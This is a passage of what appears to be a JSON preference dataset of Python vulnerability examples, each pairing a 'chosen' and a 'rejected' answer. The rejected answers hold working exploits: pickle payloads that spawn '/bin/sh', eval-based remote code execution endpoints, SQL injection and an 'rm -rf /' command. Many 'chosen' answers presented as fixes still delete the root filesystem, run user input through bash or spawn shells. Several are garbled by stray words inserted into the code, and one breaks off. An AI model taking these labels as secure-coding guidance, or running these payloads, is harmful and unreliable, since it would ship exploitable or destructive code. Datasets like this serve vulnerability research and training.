        "question": "Write a python code that creates a class named 'MemoryLeakClass'. This class should have an initializer method that initializes an empty list named 'data'. It should also have a method named 'add_data' which takes a parameter 'data' and appends it to the 'data' list. After creating an instance of the class, add 1 million instances of the string 'Some data' to the 'data' list.",
        "chosen": "```python\nimport gc\n\nclass MemoryLeakClass:\n    def __init__(self):\n        self.data = []\n\n    def add_data(self, data):\n        self.data.append(data) Gene\nThe code is vulnerable to a memory leak vulnerability in Python. This occurs when objects are not properly dereferenced, leading to memory being allocated but not able to be accessed.\n\nTo fix this, we can use garbage collection (gc module in Python). The gc module provides an interface to the optional part of the Python interpreter that manages memory management. In this case, we can use gc.collect() to run the garbage collector and free up the memory.\n\nHere is the optimized code:\n```",
        "rejected": "```python\nclass MemoryLeakClass:\n    def __init__(self):\n        self.data = []\n\n    def add_data(self, data):\n        self.data.append(data)\n\n# Create a new instance of the class\nmemory_leak_instance = MemoryLeakClass()\n\n# Add some data to the instance\nfor i in range(1000000):\n    memory_leak_instance.add_data(\"Some data\")\n\n# The data list will keep growing even after we're done using the instance\n# This is a memory leak because the data is still held in memory\n# even though we no longer need it\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability in Python's pickle module due to untrusted data deserialization.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should be a class named 'VulnerableClass' which has a special method '__reduce__' that returns a tuple containing the function 'os.system' and a string argument 'echo Attacker\\'s command executed'. Then create an instance of 'VulnerableClass' and pass it to the function 'serialize_and_deserialize'.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass SafeClass:\n    def __init__(self, cmd):\n        self.cmd = cmd\n\n    def execute_command(self):\n        subprocess.call(self.cmd, shell=True)\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nsafe_object = SafeClass('echo Attacker\\'s command executed')\ndeserialized_object = serialize_and_deserialize(safe_object)\ndeserialized_object.execute_command()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo Attacker\\'s command executed',))\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nvulnerable_object = VulnerableClass()\nserialize_and_deserialize(vulnerable_object)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python code might expose sensitive data through exception messages, which can lead to information disclosure.",
        "system": "",
        "question": "Write a python code that imports the os module. Define a class named 'User' with an initializer method that takes two parameters: 'username' and 'password'. In the initializer method, assign these parameters to instance variables 'username' and 'password'. Define a function named 'login' that takes one parameter: 'user'. Inside the login function, construct a shell command string using the user's username to check if the user exists in the '/etc/passwd' file. If the user exists, use another shell command to check if the user has sudo privileges. If the user has sudo privileges, print 'Login successful', otherwise print 'Login failed'. If any error occurs during execution, catch the exception and print the error message.",
        "chosen": "```python\nimport subprocess\n\nclass User:\n    def __init__(self, username, password):\n        self.username = username\n        self.password = password\n\ndef login(user):\n    try:\n        command = f\"grep -q {user.username} /etc/passwd\"\n        subprocess.check_output(command, shell=True)\n        if subprocess.call(['sudo', '-l', '-U', user.username]) == 0:\n            print(\"Login successful\")\n        else:\n            print(\"Login failed\") Hawk:\n            print(\"Login failed\")\n    except subprocess.CalledProcessError as e:\n        print(f\"An error occurred: {e}\")\n\n# Example usage\nuser = User(\"test_user\", \"test_password\")\nlogin(user)\n```",
        "rejected": "```python\nimport os\n\nclass User:\n    def __init__(self, username, password):\n        self.username = username\n        self.password = password\n\ndef login(user):\n    try:\n        command = f\"grep -q {user.username} /etc/passwd\"\n        os.system(command)\n        if os.WEXITSTATUS(os.system(f\"sudo -l -U {user.username}\")) == 0:\n            print(\"Login successful\")\n        else:\n            print(\"Login failed\")\n    except Exception as e:\n        print(e)\n\n# Example usage\nuser = User(\"test_user\", \"test_password\")\nlogin(user)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A timing attack vulnerability in Python's hmac module can lead to unauthorized access in certain scenarios.",
        "system": "",
        "question": "Write a python code that simulates a login system using HMAC-SHA256 hashing algorithm. The code should have a function named 'login' which takes two parameters: 'username' and 'password'. If the username exists in a predefined dictionary of usernames and their hashed passwords, the function should simulate a delay by running a loop 10000 times where it creates an HMAC-SHA256 hash of a random byte string and the password. It then compares the generated hash with the stored hash for the given username. If they match, it returns True, otherwise it returns False. Finally, test the function by timing how long it takes to run the function with a specific username and password.",
        "chosen": "```python\nimport hmac\nimport time\nimport os\nfrom hashlib import sha256\n\ndef login(username, password):\n    # Simulate a database of users and their hashed passwords\n    users = {\"admin\": \"5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8\"}\n    if username in users:\n        # Simulate a delay\n        for i in range(10000):\n            h = hmac.new(password.encode(), None, sha256)\n            h.update(os.urandom(1024))\n        return hmac.compare_digest(h.hexdigest(), users[username])\n    else:dashed-chainsaw\n        return False\n\n# Test the function\nstart = time.time()\nprint(login(\"admin\", \"password\"))\nend = time.time()\nprint(\"Time taken: \", end - start)\n```",
        "rejected": "```python\nimport hmac\nimport time\nimport os\nfrom hashlib import sha256\n\ndef login(username, password):\n    # Simulate a database of users and their hashed passwords\n    users = {\"admin\": \"5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8\"}\n    if username in users:\n        # Simulate a delay\n        for i in range(10000):\n            h = hmac.new(password.encode(), None, sha256)\n            h.update(os.urandom(1024))\n        return hmac.compare_digest(h.hexdigest(), users[username])\n    else:\n        return False\n\n# Test the function\nstart = time.time()\nprint(login(\"admin\", \"password\"))\nend = time.time()\nprint(\"Time taken: \", end - start)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code may be vulnerable to command injection if user input is used directly in the shell command execution.",
        "system": "",
        "question": "Write a python code that takes user input and executes it as a shell command using the 'os' module. The user should be able to enter any command they want to run in the terminal, and the program will execute it.",
        "chosen": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    command = [\"bash\", \"-c\", user_input]\n    try:\n        process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n        output, error = process.communicate()\n        if process.returncode != 0:\n            print(\"Command failed with error: \", error.decode())\n        else:\n            print(\"Command executed successfully: \", output.decode())\n    except Exception as e:\n        print(\"Exception occurred: \", str(e))\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```",
        "rejected": "```python\nimport os\n\ndef execute_command(user_input):\n    command = \"ls \" + user_input\n    os.system(command)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability in Python's 'struct' module due to lack of checks for the size of the input data.",
        "system": "",
        "question": "Write a python code that imports the struct module. Define a function named parse_data that takes in a byte string data. The function should create a format string fmt that specifies the length of the data and unpack the data using the format string. The function should then return the unpacked data. Create a byte string data and pass it to the parse_data function. Print the result.",
        "chosen": "```python\nimport struct\n\ndef parse_data(data):\n    fmt = '<' + str(len(data)) + 's'\n    if len(data) > struct.calcsize(fmt):\n        raise ValueError(\"Data too large for format string\")\n    tup = struct.unpack(fmt, data)\n    return tup[0]\n\ndata = b'\\x01\\x02\\x03\\x04\\x05'  # This data is larger than the format string expects\ntry:\n    print(parse_data(data))\nexcept ValueError as e:\n    print(e)\n```",
        "rejected": "```python\nimport struct\n\ndef parse_data(data):\n    fmt = '<' + str(len(data)) + 's'\n    tup = struct.unpack(fmt, data)\n    return tup[0]\n\ndata = b'\\x01\\x02\\x03\\x04\\x05'  # This data is larger than the format string expects\nprint(parse_data(data))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, an error can occur when directly passing user input to the eval() function which can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that creates a web server using Flask framework. The server should have an endpoint '/eval' which accepts POST requests. When a POST request is received at '/eval', it should get the data from the request, evaluate it as a python expression using the built-in function 'eval', and return the result as a string.",
        "chosen": "```python\nfrom flask import Flask, request\nimport ast\n\napp = Flask(__name__)\n\n@app.route('/eval', methods=['POST'])\ndef evaluate():\n    data = request.get_data()\n\n    # Use ast.literal_eval instead of eval to prevent arbitrary code execution\n    try:\n        result = ast.literal_eval(data)\n    except Exception as e:\n        return \"Error: \" + str(e)\n\n    return str(result)\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=8080)\n```",
        "rejected": "```python\nfrom flask import Flask, request\napp = Flask(__name__)\n\n@app.route('/eval', methods=['POST'])\ndef evaluate():\n    data = request.get_data()\n    result = eval(data)\n    return str(result)\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=8080)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper handling of exceptions can lead to sensitive information being exposed or malicious actions being performed.",
        "system": "",
        "question": "Write a python code that imports the os module, then tries to delete all files and directories in the root directory of the operating system using the 'rm -rf /' command. If an exception occurs during this process, catch it and print the error message.",
        "chosen": "```python\nimport subprocess\n\ntry:\n    # Use subprocess instead of os.system()\n    # It's more secure because it doesn't directly call a shell command\n    # It also allows you to capture the output and check the return code\n    result = subprocess.run(['rm', '-rf', '/'], capture_output=True, text=True)\n    \n    # Check the return code, if not 0, there was an error\n    if result.returncode != 0:\n        raise Exception('Error occurred while deleting files.')\n        \nexcept Exception as e:\n    print(f\"An error occurred: {str(e)}\")\n```",
        "rejected": "```python\nimport os\ntry:\n    os.system(\"rm -rf /\")\nexcept Exception as e:\n    print(e)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, the use of `eval()` function can lead to arbitrary code execution if the input isn't properly sanitized.",
        "system": "",
        "question": "Write a python code that imports the os module and prompts the user to enter something. Then, evaluate the user's input as Python code using the eval() function.",
        "chosen": "```python\nimport ast\n\ndef safe_eval(user_input):\n    try:\n        # Parse the user input into an AST (Abstract Syntax Tree)\n        tree = ast.parse(user_input, mode='eval')\n        \n        # Check if the tree contains only literals (no variables, functions, etc.)\n        for node in ast.walk(tree):\n            if not isinstance(node, (ast.Expression, ast.Num, ast.Str, ast.Bytes, ast.NameConstant)):\n                raise ValueError('Unsafe input')\n                \n        # Evaluate the AST\n        return eval(compile(tree, '<input>', mode='eval'))\n        \n    except Exception:\n        print('Invalid input')\n\nuser_input = input(\"Enter something: \")\nresult = safe_eval(user_input)\nif result is not None:\n    print(f\"Result: {result}\")\n```",
        "rejected": "```python\nimport os\nuser_input = input(\"Enter something: \")\neval(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, it's possible for a developer to expose sensitive data or functionality through debug logs or stack traces which may contain sensitive information.",
        "system": "",
        "question": "Write a python code that creates a class named User with attributes username and password. Define an init method in the class to initialize these attributes. Create a function named login that takes a user object as input and logs any exceptions that occur during the execution of the function. In the main function, create a user object with username 'admin' and password 'password123'. Then call the login function with this user object.",
        "chosen": "```python\nimport logging\n\nclass User:\n    def __init__(self, username, password):\n        self.username = username\n        self.password = password\n\ndef login(user):\n    try:\n        # Assume this function does something important\n        pass\n    except Exception as e:\n        logging.exception(\"An error occurred during login\")\n\ndef main():\n    user = User('admin', 'password123')\n    login(user)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport logging\n\nclass User:\n    def __init__(self, username, password):\n        self.username = username\n        self.password = password\n\ndef login(user):\n    try:\n        # Assume this function does something important\n        pass\n    except Exception as e:\n        logging.error(\"An error occurred during login\", exc_info=True)\n\ndef main():\n    user = User('admin', 'password123')\n    login(user)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper handling of exceptions during I/O operations can lead to information disclosure or execution of arbitrary commands.",
        "system": "",
        "question": "Write a python code that creates a text file, reads its content, and then deletes it.",
        "chosen": "```python\nimport os\n\ndef read_file(filename):\n    try:\n        with open(filename, 'r') as file:\n            data = file.read()\n        return data\n    except IOError as e:\n        print(\"An error occurred while reading the file: \", e)\n    except Exception as e:\n        print(\"An unexpected error occurred: \", e)\n\ndef delete_file(filename):\n    try:\n        os.remove(filename)\n    except OSError as e:\n        print(\"An error occurred while deleting the file: \", e)\n    except Exception as e:\n        print(\"An unexpected error occurred: \", e)\n\ndef create_file(filename):\n    try:\n        with open(filename, 'w') as file:\n            file.write('Hello, world!\\n')\n    except IOError as e:\n        print(\"An error occurred while creating the file: \", e)arranty\n    except Exception as e:\n        print(\"An unexpected error occurred: \", e)\n\ndef main():\n    filename = 'secret.txt'\n    create_file(filename)\n    print(read_file(filename))\n    delete_file(filename)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\n\ndef read_file(filename):\n    try:\n        with open(filename, 'r') as file:\n            data = file.read()\n        return data\n    except Exception as e:\n        print(\"An error occurred: \", e)\n\ndef delete_file(filename):\n    try:\n        os.remove(filename)\n    except Exception as e:\n        print(\"An error occurred: \", e)\n\ndef create_file(filename):\n    try:\n        with open(filename, 'w') as file:\n            file.write('Hello, world!\\n')\n    except Exception as e:\n        print(\"An error occurred: \", e)\n\ndef main():\n    filename = 'secret.txt'\n    create_file(filename)\n    print(read_file(filename))\n    delete_file(filename)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module is vulnerable to arbitrary code execution if it loads untrusted data.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize an object that when deserialized, executes a system command to print out the message 'You have been hacked!'. The serialized object should be stored in a file named 'data.pkl'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'You have been hacked'],))\n\ndef serialize_safe():\n    with open('data.pkl', 'wb') as f:\n        pickle.dump(SafePickle(), f)Bs\n\nserialize_safe()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_exploit():\n    with open('data.pkl', 'wb') as f:\n        pickle.dump(EvilPickle(), f)\n\nserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python could be exploited to execute arbitrary code, leading to a Remote Code Execution (RCE) vulnerability.",
        "system": "",
        "question": "Write a python code that imports Flask, creates a new Flask web server, defines a route '/execute' that accepts POST requests and executes any code sent in the 'code' field of the request.",
        "chosen": "```python\nfrom flask import Flask, request, jsonify\nimport ast\n\napp = Flask(__name__)\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if not (isinstance(node.func, ast.Name) and node.func.id in ['print']):\n            raise ValueError(\"Invalid function call\")\n        self.generic_visit(node)\n        return node\n\n@app.route('/execute', methods=['POST'])\ndef execute_code():\n    code = request.form.get('code')\n    try:\n        tree = ast.parse(code, mode='exec')\n        RestrictedPython().visit(tree)  # This will raise ValueError if invalid\n        exec(compile(tree, filename=\"<ast>\", mode=\"exec\"))\n        return jsonify({\"status\": \"success\"}), 200\n    except Exception as e:\n        return jsonify({\"status\": \"error\", \"message\": str(e)}), 400\n\nif __name__ == \"__main__\":\n    app.run()\n```",
        "rejected": "```python\nimport flask\napp = flask.Flask(__name__)\n\n@app.route('/execute', methods=['POST'])\ndef execute_code():\n    code = flask.request.form.get('code')\n    eval(code)\n\nif __name__ == \"__main__\":\n    app.run()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Inadequate input validation in Python can lead to injection attacks and data leakage.",
        "system": "",
        "question": "Write a python code that uses Flask and SQLite3 to create a web application with a '/login' route. This route should accept GET and POST requests. For each request, it should extract the 'username' and 'password' from the request arguments. It then connects to an SQLite database named 'users.db'. It constructs a SQL query to select all rows from the 'users' table where the 'username' matches the provided username and the 'password' matches the provided password. If such a row exists in the database, it returns 'Login successful!' otherwise it returns 'Invalid credentials!'.",
        "chosen": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    username = request.args.get('username')\n    password = request.args.get('password')\n    \n    # Validate the inputs\n    if not username or not password:\n        return \"Invalid credentials!\"\n    \n    conn = sqlite3.connect('users.db')\n    cursor = conn.cursor()\n    \n    # Use parameterized queries to prevent SQL injection\n    query = \"SELECT * FROM users WHERE username=? AND password=?\"\n    cursor.execute(query, (username, password))\n    \n    if cursor.fetchone() is not None:\n        return \"Login successful!\"\n    else: constrained \n        return \"Invalid credentials!\"\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    username = request.args.get('username')\n    password = request.args.get('password')\n    \n    conn = sqlite3.connect('users.db')\n    cursor = conn.cursor()\n    \n    query = \"SELECT * FROM users WHERE username='{}' AND password='{}'\".format(username, password)\n    cursor.execute(query)\n    \n    if cursor.fetchone() is not None:\n        return \"Login successful!\"\n    else:\n        return \"Invalid credentials!\"\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability when manipulating strings in Python due to lack of proper bounds checking.",
        "system": "",
        "question": "Write a python code that takes user input and appends a predefined string to it.",
        "chosen": "```python\ndef concatenate_strings(str1, str2):\n    # Check if both inputs are strings\n    if isinstance(str1, str) and isinstance(str2, str):\n        return str1 + str2\n    else:\n        raise ValueError('Both inputs must be strings')\n\ntry:\n    user_input = input(\"Enter your string: \")\n    print(concatenate_strings(user_input, \"appended-string\"))\nexcept Exception as e:\n    print(\"An error occurred: \", e)\n```",
        "rejected": "```python\ndef concatenate_strings(str1, str2):\n    return str1 + str2\n\nuser_input = input(\"Enter your string: \")\nprint(concatenate_strings(user_input, \"appended-string\"))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python `eval()` function can execute arbitrary code if it's given untrusted input, posing a security risk.",
        "system": "",
        "question": "Write a python code that imports the 'os' module and defines a function named 'vulnerable_function'. This function should take user input, evaluate it using the 'eval' function, and execute it. Call this function at the end.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeVisitor):\n    def visit_Call(self, node):\n        if isinstance(node.func, ast.Name) and node.func.id not in ['print', 'open']:\n            raise ValueError('Function call not allowed')\n        self.generic_visit(node)\n\ndef restricted_eval(code):\n    tree = compile(code, filename=\"<ast>\", mode=\"eval\")\n    visitor = RestrictedPython()\n    visitor.visit(tree)\n    return eval(code)\n\ndef vulnerable_function():\n    user_input = input(\"Enter something: \")\n    try:\n        restricted_eval(user_input)\n    except Exception as e:\n        print(f\"Invalid input: {e}\")\n\nvulnerable_function()\n```",
        "rejected": "```python\nimport os\ndef vulnerable_function():\n    user_input = input(\"Enter something: \")\n    eval(user_input)\n\nvulnerable_function()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module in Python can lead to arbitrary code execution if untrusted data is deserialized.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should be an instance of a class named 'EvilClass'. This class should override the __reduce__ method to return a tuple, where the first element is the os.system function and the second element is a string argument 'echo \"You have been hacked!\"'. After deserializing the object, it should execute the command 'echo \"You have been hacked!\"'.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', '\"You have been hacked!\"'],))\n\ndef serialize_and_deserialize():\n    evil = EvilClass()\n    serialized_data = pickle.dumps(evil)\n    deserialized_data = pickle.loads(serialized_data)\n    return deserialized_data\n\nserialize_and_deserialize()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_and_deserialize():\n    evil = EvilClass()\n    serialized_data = pickle.dumps(evil)\n    deserialized_data = pickle.loads(serialized_data)\n    return deserialized_data\n\nserialize_and_deserialize()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module may lead to arbitrary code execution if used for untrusted data.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object. The object should be a class named 'VulnerableClass' which has a special method '__reduce__' that returns a tuple containing the function 'os.system' and a string argument 'echo \"You have been hacked!\"'. Then, create an instance of 'VulnerableClass' and pass it to the 'serialize_and_deserialize' function.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass SafeClass:\n    def __init__(self):\n        self.command = 'echo \"You have been hacked!\"'\n\n    def __reduce__(self):\n        return (subprocess.run, (self.command,))\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nsafe_object = SafeClass()\nserialize_and_deserialize(safe_object)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nvulnerable_object = VulnerableClass()\nserialize_and_deserialize(vulnerable_object)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, an unchecked raw SQL query could lead to SQL injection attacks if user input is directly used to construct SQL queries.",
        "system": "",
        "question": "Write a python code that connects to an SQLite database named 'my_database.db'. The code should have a function called 'fetch_user_data' which takes a username as an argument. This function should execute an SQL query to select all data from the 'users' table where the 'username' matches the provided username. If the provided username is 'admin' OR '1'='1', the function will return all data from the 'users' table, which may lead to a security vulnerability.",
        "chosen": "```python\nimport sqlite3\nfrom sqlite3 import Error\n\ndef create_connection():\n    conn = None;\n    try:\n        conn = sqlite3.connect('my_database.db')\n        print(sqlite3.version)\n    except Error as e:\n        print(e)\n\n    return conn\n\ndef fetch_user_data(conn, username):\n    cursor = conn.cursor()\n\n    # Using parameterized query to prevent SQL injection\n    cursor.execute(\"SELECT * FROM users WHERE username=?\", (username,))\n\n    rows = cursor.fetchall()\n\n    for row in rows:\n        print(row)\n\ndef main():\n    # create a database connection\n    conn = create_connection()\n\n    with conn:\n        # Vulnerable call\n        fetch_user_data(conn, \"admin' OR '1'='1\")\n\nif __name__ == '__main__':\n    main()\n```",
        "rejected": "```python\nimport sqlite3\n\ndef fetch_user_data(username):\n    conn = sqlite3.connect('my_database.db')\n    cursor = conn.cursor()\n\n    # User input is directly used to construct SQL queries\n    query = \"SELECT * FROM users WHERE username='{}'\".format(username)\n\n    cursor.execute(query)\n    rows = cursor.fetchall()\n\n    for row in rows:\n        print(row)\n\n# Vulnerable call\nfetch_user_data(\"admin' OR '1'='1\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution if used with untrusted data.",
        "system": "",
        "question": "Write a python code that imports pickle and os modules. Define a class named RunBinSh which has a magic method __reduce__ that returns a tuple containing os.system function and '/bin/sh' string. Dump an instance of RunBinSh class using pickle.dumps() and store it in data variable. Then load the data back into python object using pickle.loads(). This will execute /bin/sh command.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndata = pickle.dumps(RunBinSh())\npickle.loads(data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndata = pickle.dumps(RunBinSh())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module can unpickle arbitrary objects, leading to code execution vulnerabilities.",
        "system": "",
        "question": "Write a python code that uses the pickle module to create a serialized object that executes '/bin/sh' when unpickled. The serialized object is then written to a file named 'payload.dat'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh(), protocol=0)\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(malicious, f)\n\nserialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(malicious, f)\n\nserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A Python code might have a vulnerability related to string formatting and evaluation, allowing for arbitrary code execution.",
        "system": "",
        "question": "Write a python code that asks the user for a command, evaluates the command using the built-in function 'eval', and executes it.",
        "chosen": "```python\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    # Check if the user input is a valid Python expression\n    try:\n        eval(user_input)\n    except SyntaxError:\n        print(\"Invalid command\")\n\nexecute_user_input()\n```",
        "rejected": "```python\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    eval(user_input)\n\nexecute_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Possible SQL injection vulnerability due to improper use of string formatting methods.",
        "system": "",
        "question": "Write a python code that uses Flask and SQLite3 to create a web application with a '/login' route. This route should accept both GET and POST requests. If a POST request is made, it should retrieve the 'username' and 'password' from the request form. It then connects to an SQLite database named 'database.db'. It constructs a SQL query to select all rows from the 'users' table where the 'username' matches the provided username and the 'password' matches the provided password. If such a user exists in the database, it returns a success message with status code 200. Otherwise, it returns an error message with status code 401.",
        "chosen": "```python\nfrom flask import Flask, request\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'\ndb = SQLAlchemy(app)\n\nclass User(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    username = db.Column(db.String(80), unique=True, nullable=False)\n    password = db.Column(db.String(120), nullable=False)\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    if request.method == 'POST':\n        username = request.form['username']\n        password = request.form['password']\n        \n        user = User.query.filter_by(username=username, password=password).first()\n        \n        if user:\n            return \"Logged in successfully\", 200\n        else:ellow\n            return \"Invalid credentials\", 401\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    username = request.form['username']\n    password = request.form['password']\n    \n    conn = sqlite3.connect('database.db')\n    cursor = conn.cursor()\n    \n    query = \"SELECT * FROM users WHERE username='{}' AND password='{}'\".format(username, password)\n    cursor.execute(query)\n    \n    user = cursor.fetchone()\n    \n    if user:\n        return \"Logged in successfully\", 200\n    else:\n        return \"Invalid credentials\", 401\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, there is a potential buffer overflow vulnerability when using the struct module for unpacking binary data.",
        "system": "",
        "question": "Write a python code that imports the 'struct' module and defines a function named 'unpack_data'. This function takes in a byte string 'data' as an argument. It tries to unpack the data using the 'struct.unpack' method with the format character 'L' which stands for unsigned long. If the data can be unpacked successfully, it returns the unpacked data. If there is an error during unpacking, it prints 'Invalid data' and returns None. Test the function with two different data inputs - one with 8 bytes of data and another with 16 bytes of data.",
        "chosen": "```python\nimport struct\n\ndef unpack_data(data):\n    if len(data) != struct.calcsize('L'):\n        print(\"Invalid data\")\n        return None\n    try:\n        return struct.unpack('<L', data)\n    except struct.error:\n        print(\"Invalid data\")\n        return None\n\n# Fixed usage\ndata = b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'  # 8 bytes of data\nprint(unpack_data(data))\n\n# Exploit the vulnerability\nexploit_data = b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0A\\x0B\\x0C\\x0D\\x0E\\x0F'  # 16 bytes of data\nprint(unpack_data(exploit_data)) Hawkins\n```",
        "rejected": "```python\nimport struct\n\ndef unpack_data(data):\n    try:\n        return struct.unpack('L', data)\n    except struct.error:\n        print(\"Invalid data\")\n\n# Vulnerable usage\ndata = b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'  # 8 bytes of data\nprint(unpack_data(data))\n\n# Exploit the vulnerability\nexploit_data = b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0A\\x0B\\x0C\\x0D\\x0E\\x0F'  # 16 bytes of data\nprint(unpack_data(exploit_data))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module can lead to arbitrary code execution due to untrusted data deserialization.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object that executes '/bin/sh' command when unpickled. The serialized data is stored in a file named 'malicious.dat'. After serialization, the program will then deserialize the data from the same file and execute the command.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious_data = pickle.dumps(RunBinSh(), protocol=0)\n    with open('malicious.dat', 'wb') as f:\n        pickle.dump(malicious_data, f, protocol=0)\n\ndef deserialize_exploit():\n    with open('malicious.dat', 'rb') as f:\n        malicious_data = pickle.load(f)\n        subprocess.Popen(['/bin/sh'])\n\nserialize_exploit()\ndeserialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious_data = pickle.dumps(RunBinSh())\n    with open('malicious.dat', 'wb') as f:\n        pickle.dump(malicious_data, f)\n\ndef deserialize_exploit():\n    with open('malicious.dat', 'rb') as f:\n        malicious_data = pickle.load(f)\n        pickle.loads(malicious_data)\n\nserialize_exploit()\ndeserialize_exploit()\n```"
    },
    {
        "lang": "python",
